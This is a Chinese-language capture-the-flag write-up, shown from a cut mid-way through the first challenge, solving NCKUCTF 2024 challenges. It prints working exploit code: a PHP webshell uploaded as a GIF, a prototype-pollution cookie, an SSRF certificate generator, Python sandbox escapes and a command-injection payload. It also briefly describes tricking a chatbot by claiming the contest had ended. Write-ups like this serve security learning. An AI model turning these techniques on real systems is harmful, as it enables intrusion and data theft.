phpsessid = '73c22a668be144a4f20c3db7d2e134bd' # 'dd4e1c7e524afbb8c8af7e353e8bcd92'
# phpsessid = 'dd4e1c7e524afbb8c8af7e353e8bcd92'
password = 'X#R(QGwedq239rQ#@rfcef9qE3R(X#@rQ#9fWE9fx32rQ#(Wecfe9fxw#e93'
account = '../images/dotdoTDotDOtD07d07D0tDotD0.php'
fname_fake = '.pHp'
port = 29106 # 29103:無 Revenge 版
r0 = requests.post(
f'https://chall.nckuctf.org:{port}/reset.php',
data={
'change_password': 'yes',
'username': account,
'new_password': password,
'confirm_password': password,
},
cookies={'PHPSESSID': phpsessid},
)
r1 = requests.post(
f'https://chall.nckuctf.org:{port}/login.php',
data={
'login': 'yes',
'username': account,
'password': password,
},
cookies={'PHPSESSID': phpsessid},
)
with open('dot-x.gif', 'wb') as f:
f.write(b'GIF89a\n'
+ b'''<?php system('cat /flag'); ?>''')
with open('dot-x.gif', 'rb') as f:
r2 = requests.post(
f'https://chall.nckuctf.org:{port}/upload.php',
cookies={'PHPSESSID': phpsessid},
files={'avatar': (fname_fake, f)},
)
r3 = requests.post(
f'https://chall.nckuctf.org:{port}/uploads/{account}_{fname_fake}',
cookies={'PHPSESSID': phpsessid},
)
```
使用方式:
```shell
$ python -q
>>> from attack import *
>>> print(r2.text)
Avatar uploaded to [中略……] successfully!
<!DOCTYPE html>
<html lang="en">
[中略……]
>>> print(r3.text)
GIF89a
[命令輸出,後略……]
```
:::
:::success
||![image](https://hackmd.io/_uploads/ByzNOSSkkx.png)||
Flag: ||`NCKUCTF{YOu_are_7te_real_g00d_H4cK3r_Vincent55_15_V3ry_h4ppY_3281a4f52da44276}`||
:::
:::info
這一題的大部份程式碼與上一題相同,除了以下。
這一題的 `images/info.php`:
```php
<?php phpinfo(); ?>
```
這一題沒有 `.htaccess`。
這一題的 `images/.htaccess`:
```txt
AddType application/x-httpd-php .php .Php .pHp .phP .pHP .PHp .PHP
```
實際上是把 `.htaccess` 移到 `images/.htaccess`。
:::
## Web — 主題編輯器
下載源始碼後直接搜尋關鍵字。
![image](https://hackmd.io/_uploads/H1d_-8rJJx.png)
```typescript
set isMagicTheme(value: boolean) {
if (value) {
this.pirmaryColor = "dark";
this.accentColor = "#5a1545";
this.fontSize = 30;
}
}
```
嘗試根據函式要求調整設定,Font Size 用開發者工具編輯。但沒用。
題目有提示主題與下載版是不同的,所以參數應該不一樣。
參考 `theme.ts`:
```typescript
constructor(input: ThemeProps | Headers) {
function merge(a, b) {
for (const prop in b) {
if (typeof a[prop] === "object") merge(a[prop], b[prop]);
else a[prop] = b[prop];
}
}
if ("accentColor" in input) merge(this, input);
else {
const cookies = getCookies(input as Headers);
if (cookies.theme) {
const raw = JSON.parse(atob(cookies.theme));
merge(this, raw);
}
}
}
setResponseHeader(header: Headers, url: URL) {
const cookie = {
name: "theme",
value: btoa(JSON.stringify(this)),
maxAge: 120,
sameSite: "Lax" as Lax,
domain: url.hostname,
path: "/",
secure: false,
};
setCookie(header, cookie);
}
```
可得知==要利用 cookies 修改 `Theme` 物件==。
送出預設參數後會得到名爲 `theme` 的 cookie。
:::info
如果名爲 `PHPSESSID`,刪除該 cookie 後重新整理網頁。
:::
![image](https://hackmd.io/_uploads/Sy5b5LH1kg.png)
```shell
$ base64 -d <<<eyJhY2NlbnRDb2xvciI6IiM1Yzg1ZmYiLCJwaXJtYXJ5Q29sb3IiOiJsaWdodCIsImZvbnRTaXplIjoxNiwicHJpbWFyeUNvbG9yIjoibGlnaHQifQ==
{"accentColor":"#5c85ff","pirmaryColor":"light","fontSize":16,"primaryColor":"light"}
```
:::danger
`pirmaryColor`
:::
可知是 `Theme` 類別的成員內容。嘗試造新的 cookie 來呼叫 `isMagicTheme` 的 setter,代回瀏覽器。
```shell
$ base64 <<<'{"isMagicTheme":true}'
eyJpc01hZ2ljVGhlbWUiOnRydWV9Cg==
```
![image](https://hackmd.io/_uploads/rJQbFIry1g.png)
重新整理網頁後取得 flag。
:::success
||![image](https://hackmd.io/_uploads/HkQsuIB11x.png)||
Flag: ||`NCKUCTF{40px0npr0t0type}`||
:::
:::info
實際的參數是 Light、`#5c85f5`、32px,不過用 cookie 代入參數但不設定 `isMagicTheme` 的話不會顯示 flag。
:::
## Misc — Coffee Shop
假裝競賽已經結束了,資訊差攻擊不知道競賽結束時間的聊天機器人。
:::info
可能會需要清 cookie 重設聊天狀態來重現這段聊天。
:::
:::success
||![image](https://hackmd.io/_uploads/By_2LPBkyx.png)||
||`NCKUCTF{I_LOVE_drinking_MAGIC_COFFEE}`||
:::
:::danger
活動名與 flag 怎麼是顚倒的?
:::
## Web — CertificateChecker
下載源始碼並操作,可發現只要成功註冊、通過驗證、並登入,就能拿到 flag。但使用者註冊後不會有人去驗證。
目標是成功執行 `verifyaccount()`。
先用 Python 算出賬密的 MD5 雜湊値與驗證網址,然後開始考慮如何從 localhost 呼叫。
`attack-url.py`:
```python
#!/usr/bin/env python3
import hashlib
import urllib.parse
port = 39999
user = 'images_dotdoTDotDOtD07d07D0tDotD0'
password = 'XRQGwedq239rQrfcef9qE3RXrQ9fWE9fx32rQWecfe9fxwe93'
md5 = hashlib.md5()
md5.update(user.encode())
md5.update(password.encode())
verifyurl = urllib.parse.urlunparse(["http", f"localhost:{port}", "verifyaccount", "", urllib.parse.urlencode({"user": user, "verify": md5.hexdigest()}), ''])
print(verifyurl)
```
可得到 `http://localhost:39999/verifyaccount?user=使用者名稱&verify=算出的MD5雜湊値`
猜測要==利用憑證驗證的機制進行 SSRF 攻擊==。用相關的關鍵字搜尋後找到已有的攻擊手稿:<https://github.com/ChickenLover/x509-SSRF/blob/master/gen_cert.py>
不過直接生產憑證丟上去不被接受。我硏究了一段時間,注意到在 vscode 中有 deprecation 訊息提到 [`cryptography` 函式庫](https://pypi.org/project/cryptography/)。
![image](https://hackmd.io/_uploads/BkBz7fwJ1g.png)
嘗試用 `cryptography` 改寫,但遇到困難,所以照 `cryptography` 函式庫給的敎學重寫憑證生產器,同時引入 `gen_cert.py` 中的攻擊手段。
<https://cryptography.io/en/latest/x509/tutorial/>
:::spoiler 改寫後的 `gen_cert.py`
```python
#!/usr/bin/env python3
import argparse
import datetime
from typing import Optional
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa, ec
from cryptography import x509
from cryptography.x509.oid import NameOID
def gen_cert(crls: Optional[list] = None, ocsps: Optional[list] = None) -> None:
crls = crls or []
ocsps = ocsps or []
# Generate our key
root_key = ec.generate_private_key(ec.SECP256R1())
# Write our key to disk for safe keeping
save_key(root_key, "root_key.pem")
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "TW"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "Taiwan"),
x509.NameAttribute(NameOID.LOCALITY_NAME, "National Cheng-Kung Uni."),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Competitor IID as ScriptKiid"),
x509.NameAttribute(NameOID.COMMON_NAME, "ScriptKiid Root CA"),
])
root_cert = (x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(root_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.now(datetime.timezone.utc))
.not_valid_after(
# Our certificate will be valid for ~10 years
datetime.datetime.now(datetime.timezone.utc)
+ datetime.timedelta(days=365*10))
.add_extension(
x509.BasicConstraints(ca=True, path_length=None),
critical=True)
.add_extension(
x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
),
critical=True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(root_key.public_key()),
critical=False)
.sign(root_key, hashes.SHA256()))
# Write our certificate out to disk.
with open("root_certificate.pem", "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
# Generate our intermediate key
int_key = ec.generate_private_key(ec.SECP256R1())
subject = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, "TW"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "Taiwan"),
x509.NameAttribute(NameOID.LOCALITY_NAME, "National Cheng-Kung Uni."),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Competitor IID as ScriptKiid"),
x509.NameAttribute(NameOID.COMMON_NAME, "chall.nckuctf.org"),
])
int_cert = (x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(root_cert.subject)
.public_key(int_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(
datetime.datetime.now(datetime.timezone.utc))
.not_valid_after(
# Our intermediate will be valid for ~3 years
datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*3))
.add_extension(
# Allow no further intermediates (path length 0)
x509.BasicConstraints(ca=True, path_length=0),
critical=True)
.add_extension(
x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
),
critical=True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(int_key.public_key()),
critical=False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_subject_key_identifier(
root_cert.extensions.get_extension_for_class(x509.SubjectKeyIdentifier)
.value
),
critical=False)
.add_extension(
x509.CRLDistributionPoints(
[x509.DistributionPoint(
full_name=[x509.UniformResourceIdentifier(url)],
relative_name=None,
reasons=None,
crl_issuer=None)
for url in crls
]),
critical=True)
.add_extension(
x509.AuthorityInformationAccess(
[x509.AccessDescription(
x509.oid.AuthorityInformationAccessOID.OCSP,
x509.UniformResourceIdentifier(url))
for url in ocsps
]),
critical=True)
.sign(root_key, hashes.SHA256()))
# Write our certificate out to disk.
with open("certificate.pem", "wb") as f:
f.write(int_cert.public_bytes(serialization.Encoding.PEM))
def save_key(root_key, save_path):
with open(save_path, "wb") as f:
passphrase = b"TYUJOIKvCFgth7yUJytvCRDdeFRGthy7uUJIuvCTRdedFGRT8u9"
f.write(root_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.BestAvailableEncryption(passphrase)))
if __name__=="__main__":
parser = argparse.ArgumentParser(description="Generate url-imbued x.509 certificates")
parser.add_argument("-u", "--urls", nargs="+", required=True,
help="url for CRL field (GET request)")
parser.add_argument("--post-urls", nargs="+",
help="url for OSCP field (POST request) [default to --url]")
args = parser.parse_args()
args.post_urls = args.post_urls or args.urls
gen_cert(args.urls, args.post_urls)
```
:::
```shell
$ python ./gen_cert.py -u 'http://localhost:39999/verifyaccount?user=images_dotdoTDotDOtD07d07D0tDotD0&verify=09f49091f0c8e02049ebe80464bc66bf'
```
將生產結果上傳後按「Check」,跳出錯誤,表示驗證器有做事,去戳了目標 URL,而且有回應(要已用對應的賬密註冊)。
![image](https://hackmd.io/_uploads/B1El8fPkyg.png)
![image](https://hackmd.io/_uploads/Sy8TUfvJJg.png)
此時再輸入賬密登入則成功取得 flag。
:::success
||![image](https://hackmd.io/_uploads/HyzyyqIkye.png)||
Flag: ||`NCKUCTF{CEr7ifiC47e_iz_VerY_fUn_4ffbfda07a61b24f}`||
:::
:::success
==Web Any%==
:::
## Misc — pyjail1
一開始會印出源始碼。注意源始碼有提示如何不用 `import` 關鍵字存取需引入的模組。
```python
#!/usr/local/bin/python3
print(open(__file__).read())
inp = __import__("unicodedata").normalize("NFKC", input(">>> "))
if __import__("re").findall(r"[a-zA-Z]\(", inp):
print('bad hacker')
exit()
eval(inp)
```
可以發現會抓函式呼叫的語法。嘗試用奇怪的方式繞過但失敗,才注意到它沒檢査空白。
```python
>>> print (__import__("os").popen ("ls").read ())
bin
boot
dev
etc
flag_s132roibhedqnjd
home
```
:::warning
注意要用 `print()` 等使用標準輸出的函式才會有輸出。
:::
:::success
```python
>>> print (__import__("os").popen ("cat flag_s132roibhedqnjd").read ())
```
Flag: ||`NCKUCTF{the_\t_is_the_tricky_part}`||
:::
:::danger
沒用到 ||`\t`(TAB)||。
:::
## Misc — pyjail2
一開始會印出程式碼。
```python
#!/usr/local/bin/python3
print(open(__file__).read())
inp = __import__("unicodedata").normalize("NFKC", input(">>> "))
if any([x in "()" for x in inp]):
print('bad hacker')
exit()
exec(inp)
```
可以發現會抓函式呼叫的語法,而且只要有圓括號就不行。
:::warning
試了一陣子發現==是 `exec()` 不是 `eval()`==,所以允許==用分號(`;`)分隔語句==,但無法使用需要換行的 decorator。
讀搜尋到的相關文章時,發現可以修改既有函式的類別的成員,允許==定義 magic 方法來重載運算子==。
最後選擇把內建函式 `help` 的加法(`+`)重載成 `exec` 函式,用 `help + 任意字串` 的方式執行命令,==字串中會使用到的圓括號用轉義字元的方式表示==。
<https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help-and-license>
:::
```python!
>>> a = __builtins__.help; a.__class__.__add__ = __builtins__.__dict__["exec"]; a + 'print\x28__import__\x28"os"\x29.popen\x28"ls"\x29.read\x28\x29\x29'
bin
boot
dev
etc
flag_s132roibhedqnjd
home
```
```python!
>>> a = __builtins__.help; a.__class__.__add__ = __builtins__.__dict__["exec"]; a + 'print\x28__import__\x28"os"\x29.popen\x28"cat flag_s132roibhedqnjd"\x29.read\x28\x29\x29'
```
:::success
Flag: ||`NCKUCTF{decorator_can_also_RCE!}`||
:::
:::danger
沒用到 ||decorator||。
:::
## Misc — BabyLSB
用題目關鍵字作網路搜尋,猜測是要==求 least significant bits 並組成字串==,~~而不是對原音作差異音檔~~。
偷懶用網路上的手稿改。
`attack-BabyLSB.py`:
```python
import optparse
# [沒用到的函式,略……]
def bin2str(binary):
binary_split = []
count = 0
temp = ""
if len(binary) % 8 != 0:
binary += "0" * (8 - len(binary) % 8); # 偷懶式墊零。
for i in range(len(binary)):
count += 1
temp += binary[i]
if count == 8:
binary_split.append(temp)
count = 0
temp = ""
return "".join([chr(int(b, 2)) for b in binary_split])
# [沒用到的函式,略……]
def decode(num):
return bin(num)[-1]
# [沒用到的函式,略……]
def retr(filename):
data = open(filename, 'rb').read() # 偷懶直接讀。
binary = ""
for byte_ in data:
binary += decode(byte_)
return [bin2str("0" * n + binary) for n in range(0, 8)] # 偷懶暴力窮擧 bit (原 byte) offset。
def main():
parser = optparse.OptionParser('python lsbsteg.py ' + '-e/-d <target file>')
parser.add_option('-e', dest = 'hide', type='string', help='target pic path to hide text')
parser.add_option('-d', dest = 'retr', type='string', help='target pic path to retrieve text')
(options, args) = parser.parse_args()
if options.hide != None:
text = input("Enter a message to hide: ")
print(hide(options.hide, text))
elif options.retr != None:
for x in retr(options.retr):
print(x) # 偷懶列出暴力窮擧解碼結果。
else:
print(parser.usage)
quit()
if __name__ == '__main__':
main()
```
最後偷懶用 `strings` 過濾非文字輸出(加快後續處理),用 `less` 的搜尋功能偷懶找 flag。
```shell
python attack-BabyLSB.py -d Yee_is_good.wav | strings | less
```
:::success
||![image](https://hackmd.io/_uploads/HJspaiIk1e.png)||
Flag: ||NCKUCTF{l5b_15_u53d_1n_b16_f1l35}||
:::
## Pwn — [新手友善] Overflow Tutorial
問答題。
```txt!
Welcome to introduction to overflow!
Now you'll learn both integer and buffer overflow in this challenge
First Stage:
I have a 8-bit unsigned integer (8-bit unsigned integer has range from 0 to 255).
Now it is 5, can you add some positive number to make it 0?
```
:::danger
"an" 8-bit
:::
可知 `255 + 1` 會 overflow 變成 `0`,所以 `x + 5 = 255 + 1`,得 `x` 爲 `251`。
```txt!
Now you have an input buffer at 0x4040a0
Target is at 0x4040c0
Target now has string: pwn2ooo
Now you can input as long as you like to the input buffer, can you overwrite the target string to NCKUCTF?
```
`0x4040c0 - 0x4040a0 = 0x20 = 32`,所以要 32 個字元後加 `NCKUCTF`。
:::info
※ 用 `123456789012345678901234567890` 的塡法可以刷鍵盤輸入同時能避免忘了塡了幾個字元。
:::
:::success
||![image](https://hackmd.io/_uploads/BJdAAoL1kl.png)||
Flag: ||`NCKUCTF{H0p3_U_LeaRNed_Some_concept_Ab0ut_Sof7w4r3_sEcur1tY_N0w_0a05f6c72945fc781e1a0f5b54dc285a}`||
:::
## Crypto — my fiRSt chAllenge
直接 Google 搜尋可知:
* RSA 加密:$c ≡ m^e \mod n$
* RSA 解密:求 $d$ 使 $e \cdot d ≡ 1 \mod \phi(n)$(記作 $d ≡ e^{-1} \mod \phi(n)$),然後 $m ≡ c^d \mod n$
:::info
從 Python 3.8 開始,可以直接用 `pow(b, -1, m)` 求 $b^{-1} \mod m$ 的最小非負同餘値。
<https://docs.python.org/3/library/functions.html#pow>
:::
:::info
$c$、$d$、與 $m$ 理論上有無限多組解,只是實際使用上是取最小非負正整數。
:::
$\phi(n)$ 是指 $\leq n$ 而與 $n$ 的最大公因數爲 $1$ 的正整數的數量,但因爲源始碼中的 $n$ 2048-bit 是個質數,$\phi(n) = n - 1$。
```python
# from secret import FLAG
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
# n = getPrime(2048)
# e = getPrime(16)
# c = pow(bytes_to_long(FLAG), e, n)
n = 29515137476410732565395862722963074199622018579742235619483838495244496826773185118703438557016644525603004790326390157375150617425660568673234525163053787601979251578715363956828720987867008371116795019306822053842574391522127242263531052640722998377798102043950757321604541051946199000630641395363550017020343876257972167003334434311252018055242321701890541759586899789271195868045077149324175615786881257113977671176448255441524215076885042587056784122096761826652505036449331904946402295220577082613941130410652603845577746076898631099511652380668364951227935608771507949681151561120306692972880252400347630775329
e = 63419
c = 13041101492632275241451226791066932954902515655412960677800156612127295311621973342630562294571243790419335927585695165973807846243620437209471044333930167476000218300313374449819291533760805753314008853130980810895059368546990111665481327123537120932418327400900454152568232733402395843815332144503387562021535428907200372989099776841667152496714450025823161843323605581564623725301365764091875511353326585184804855104329543851954021961728422196707827170853772110164202185241974517244104130682033961399207175113645238215426935080369634231928392695255329223206100242002525014226904948183690353689879264271163645705926
phi = (n - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))
'''
with open("output.txt", "w") as f:
f.write(f"n = {n}\ne = {e}\nc = {c}")
'''
```
直接執行可得到 flag。
:::success
Flag: ||`NCKUCTF{R54_D0es_n07_w0rk_1ik3_7h15}`||
:::
## Misc — 我們是做好駭客
用 `CTF tools image online` 搜尋相關工具,隨便選了一個。<https://georgeom.net/StegOnline/image>
![image](https://hackmd.io/_uploads/rJ0hh-w11g.png)
~~不小心~~按了「Browse Bit Planes」後看到以下隱藏圖片。
![image](https://hackmd.io/_uploads/HyKFnZD11l.png)
:::danger
「之樹」
:::
直接以圖搜尋可以發現這張圖是用圖庫圖改的,所以重點應該會在與原圖不同的地方。
![image](https://hackmd.io/_uploads/ByR20bvyke.png)
不同之處:
* 樹枝末梢減少到 64 枝。
* 有些末梢有箭頭或加點。
* 背景中與底下兩橫列的雜點,不過不排除是壓縮所造成的瑕疵。
因爲有 64 枝,所以嘗試從左到右深度優先造訪來編號,看看能找到什麼規律。
![good_hacker_chal-red0-marked](https://hackmd.io/_uploads/ByP-E7D1ye.png)
發現箭頭所指的全是 8 的倍數,而且全沒加點,所以猜測是 ASCII 碼,而加點表示位元爲 1。
偷前面的 `attack-BabyLSB.py` 的 `bin2str()` 來用。
`attack-good_hacker.py`:
```python
# [前略……]
print('NCKUCTF{'
+ bin2str(
'00110001' + '01101000' + '00110100' + '01100011'
+ '01101011' + '01111001' + '00110000' + '01110101')
+ '}')
```
:::success
Flag: ||`NCKUCTF{1h4cky0u}`||
:::
## Misc — Double Exploit
首先先檢査題述圖片有沒有問題。沒有(應該)。
源始碼:
![image](https://hackmd.io/_uploads/BkGb2mwyke.png)
首先先檢査 `secret.php`。沒有東西。
![image](https://hackmd.io/_uploads/HyVxhmwJyx.png)
剩下的因素只有 `?payload=負載` 的「負載」要塡什麼。不能超過 6 個位元。
嘗試 `\0` 會顯示執行錯誤,表示眞的有在執行。
![image](https://hackmd.io/_uploads/HJdmpXvJkl.png)
Shell 命令注入不可行,payload 太短,除非有短命令。
:::warning
盲解不是好策略。試試看嘗試存取 `https://chall.nckuctf.org:29205/pwn_me` 會發生什麼事。
![{B2ABC662-0B0E-47C1-A500-6D21E93B801D}](https://hackmd.io/_uploads/SyJ-1EDJyg.png)
程式察覺。
:::
```shell
$ ./pwn_me
Segmentation fault
$ ./pwn_me a
N0m N0m
```
```shell
strings pwn_me | less
```
![image](https://hackmd.io/_uploads/H1MWMEPyke.png)
用 `objdump` 査看字串的位置:
* `Meowing `:`0x2004`
* `N0m N0m`:`0x200d`
其它物件的位置:
* `pwn_me`:`0x4049`
組譯碼分析:
```shell
$ objdump -d pwn_me --visualize-jumps=extended-color | less -R
```
`main`:
```asm
0000000000001159 <main>:
## (di (argc): int, si (argv): char**, d (envp): char**) → a (retval): int
1159: 55 push %rbp
## || … > bp_ret (= 0x0) | ip_ret
115a: 48 89 e5 mov %rsp,%rbp
## … >|| bp_ret | ip_ret
115d: 48 83 ec 10 sub $0x10,%rsp
## … > - | - || bp_ret | ip_ret
1161: 89 7d fc mov %edi,-0x4(%rbp)
1164: 48 89 75 f0 mov %rsi,-0x10(%rbp)
## … > argv | - (4) | argc.low32 (4) || bp_ret | ip_ret
1168: 48 8b 05 d1 2e 00 00 mov 0x2ed1(%rip),%rax # 4040 <stdin@GLIBC_2.2.5>
116f: b9 00 00 00 00 mov $0x0,%ecx
1174: ba 02 00 00 00 mov $0x2,%edx
1179: be 00 00 00 00 mov $0x0,%esi
117e: 48 89 c7 mov %rax,%rdi
1181: e8 ca fe ff ff call 1050 <setvbuf@plt>
##: setvbut(di = stdin, si = 0, d = 2, c = 0) → a
1186: 48 8b 05 a3 2e 00 00 mov 0x2ea3(%rip),%rax # 4030 <stdout@GLIBC_2.2.5>
118d: b9 00 00 00 00 mov $0x0,%ecx
1192: ba 02 00 00 00 mov $0x2,%edx
1197: be 00 00 00 00 mov $0x0,%esi
119c: 48 89 c7 mov %rax,%rdi
119f: e8 ac fe ff ff call 1050 <setvbuf@plt>
##: setvbut(di = stdout, si = 0, d = 2, c = 0) → a
11a4: 48 8b 45 f0 mov -0x10(%rbp),%rax
##: argv → a
## … > argv | - (4) | argc.low32 (4) || bp_ret | ip_ret
11a8: 48 83 c0 08 add $0x8,%rax
##: a + 8 (argv + 1) → a
11ac: 48 8b 00 mov (%rax),%rax
##: *a (argv[1]) → a
11af: 0f b7 00 movzwl (%rax),%eax
##: (int16_t)*a (*(int16_t *)argv[1]) → a.low32, 0 → a.hi32
11b2: 66 89 05 90 2e 00 00 mov %ax,0x2e90(%rip) # 4049 <pwn_me>
##: a.low16 (*(int16_t *)argv[1]) → pwn_me.low16
11b9: 0f b6 05 8a 2e 00 00 movzbl 0x2e8a(%rip),%eax # 404a <pwn_me+0x1>
##: (int32_t)pwn_me.low16.hi8 (argv[1][1]) → a.low32, 0 → a.hi32
11c0: 3c 23 cmp $0x23,%al
##: a.low8 (argv[1][1]) <=> `#`
11c2: /----- 75 16 jne 11da <main+0x81>
##: jump if a.low8 (argv[1][1]) != `#`
11c4: | 48 8d 05 39 0e 00 00 lea 0xe39(%rip),%rax # 2004 <_IO_stdin_used+0x4>
11cb: | 48 89 c7 mov %rax,%rdi
11ce: | b8 00 00 00 00 mov $0x0,%eax
11d3: | e8 68 fe ff ff call 1040 <printf@plt>
##: printf(di = 0x2004 "Meowing ", a (vararg float argc) = 0) → a
11d8: | /-- eb 0f jmp 11e9 <main+0x90>
11da: \--|-> 48 8d 05 2c 0e 00 00 lea 0xe2c(%rip),%rax # 200d <_IO_stdin_used+0xd>
11e1: | 48 89 c7 mov %rax,%rdi
11e4: | e8 47 fe ff ff call 1030 <puts@plt>
##: puts(di = 0x200d "N0m N0m") → a
11e9: \-> b8 00 00 00 00 mov $0x0,%eax
## … > argv | - (4) | argc.low32 (4) || bp_ret | ip_ret
11ee: c9 leave
## … >|| bp_ret | ip_ret (bp → sp)
## || … > ip_ret (bp_ret (= 0x0) → bp, sp += 8)
11ef: c3 ret
## || … > (ip_ret → ip, sp += 8)
```
:::info
參考 <https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame>
:::
:::warning
可知 1 號參數的第 2 字元爲 `#` 時會印出 `Meowing `,可以在 payload 塡入 `0#` 做到。
:::
剩下的是如何印出 `Whale`。用 `;命令` 的方式會遇到 payload 太長的問題,所以應該做不到。有可能輸入特別字串的 `pwd`(輸出所在目錄路徑)失敗,`whoami`(輸出使用者名稱)太長不能用。
嘗試搜尋網路資訊,分析看看 `pwn_me` 有沒有可利用之處,也沒有。
所以想嘗試用 shell 命令注入的方式塡入大量字串、塡入 `Whale`、塡入花括號展開,塡入檔案萬用字元例如 `?#???` 展開。
這時突然想到能不能知道有哪些檔案的問題,想到題目是 Docker,與 CertificateChecker 的 Docker 目錄比較後,試了幾個路徑。
![image](https://hackmd.io/_uploads/BkP9dnv1yg.png)
:::warning
沒有拒絕存取。雖然還沒什麼幫助,再試試別的路徑。
![image](https://hackmd.io/_uploads/BJ96u3DJJg.png)
要件察覺。
:::
下載 `f` 後執行,發現直接輸出 `Whale`。
最後 payload 塡入 `0#;./f` 的 URL 編碼結果 `0%23;.%2ff`,成功取得 flag。
:::success
||![image](https://hackmd.io/_uploads/BkJt16PJyl.png)||
Flag: ||`NCKUCTF{my_first_pwn+web+rev_XD}`||
:::
:::success
==Misc Any%==
:::
## Crypto — [新手友善] BabyRSA
> Given a RSA private key and an encrypted file, how to decrypt RSA?
:::danger
"an" RSA
:::
用搜尋到的命令嘗試,但會解密失敗。
```shell
$ openssl rsautl -decrypt -inkey id_rsa-BabyRSA -in encrypted-BabyRSA.bin
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
Could not read private key from id_rsa-BabyRSA
```
換個方法,參考 <https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/> 寫手稿。
`attack-BabyRSA.py`:
```python
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
with open('id_rsa-attack-BabyRSA', 'rb') as key_file:
private_key = serialization.load_pem_private_key(
key_file.read(),
password=None)
with open('encrypted-BabyRSA.bin', 'rb') as cipher_file:
plaintext = private_key.decrypt(
cipher_file.read(),
padding.PKCS1v15(
mgf=padding.MGF1(algorithm=hashes.SHA1()),
algorithm=hashes.SHA1(),
label=None
)
)
print(plaintext)
```
```python
$ python ./attack-BabyRSA.py
Traceback (most recent call last):
File "/mnt/c/Users/User/Downloads/NCKUCTF-2024/./attack-BabyRSA.py", line 4, in <module>
[中略……]
File "/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/backend.py", line 1512, in _handle_key_loading_error
raise ValueError(
ValueError: Could not deserialize key data. The data may be in an incorrect format or it may be encrypted with an unsupported algorithm.
```
:::warning
`cat id_rsa-BabyRSA`,發現它是以 `-----BEGIN OPENSSH PRIVATE KEY-----` 開頭的,需要轉換成 PEM 格式。
<https://superuser.com/questions/1720991/differences-between-begin-rsa-private-key-and-begin-openssh-private-key>
:::
先複製一份來操作。注意必須確定檔案模式是 `x00` (`-(r)(w)(x)------`)(非擁有者不能讀寫或執行),否則 `ssh-keygen` 會拒絕轉換。
```
$ cp id_rsa-BabyRSA id_rsa-attack-BabyRSA
$ chmod 600 id_rsa-attack-BabyRSA
$ ssh-keygen -p -N "" -m pem -f id_rsa-attack-BabyRSA
Key has comment 'twnwaking@TWNWAKing-Laptop'
Your identification has been saved with the new passphrase.
```
```shell
$ python attack-BabyRSA.py
[中略……]
raise ValueError("Encryption/decryption failed.")
ValueError: Encryption/decryption failed.
```
用 `openssl` 解碼則是出現亂碼,不過使用 `-oaep` 參數則是報吿:
```text
RSA operation error
801B39C81F7F0000:error:02000079:rsa routines:RSA_padding_check_PKCS1_OAEP_mgf1:oaep decoding error:../crypto/rsa/rsa_oaep.c:314:
```
發現可能是 padding 的問題,參考 <https://docs.openssl.org/3.1/man1/openssl-rsautl/#options> 試試不同的 padding。
`openssl rsautl -decrypt -inkey id_rsa-attack-BabyRSA -in encrypted-BabyRSA.bin -raw`
:::success
Flag: ||`NCKUCTF{U_kn0w_how_to_Use_RSA_4e5a3a8f19a14928}`||
:::
:::danger
「[新手友善]」
:::
## Welcome — 回饋表單
:::info
因爲時間安排上的關係,還有題目沒動手解,只好先吿一段落。
:::
~~Trivial~~ 塡完表單的提示訊息即包含 flag。
:::success
Flag: ||NCKUCTF{Thanks for your playing, have a nice day!}||
:::
:::danger
但是送出時按錯與貼錯送了這次 CTF 第一個與唯好幾個錯誤 flags。
:::
:::success
==Welcome Any%==
:::